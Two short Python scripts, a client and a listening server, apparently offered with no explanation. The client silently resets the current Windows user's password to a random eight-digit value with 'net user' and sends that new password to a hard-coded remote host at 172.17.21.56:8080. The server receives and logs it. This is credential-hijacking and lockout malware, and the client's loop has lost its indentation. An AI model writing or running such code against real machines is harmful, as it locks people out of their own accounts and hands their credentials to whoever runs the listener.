# client.py：
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()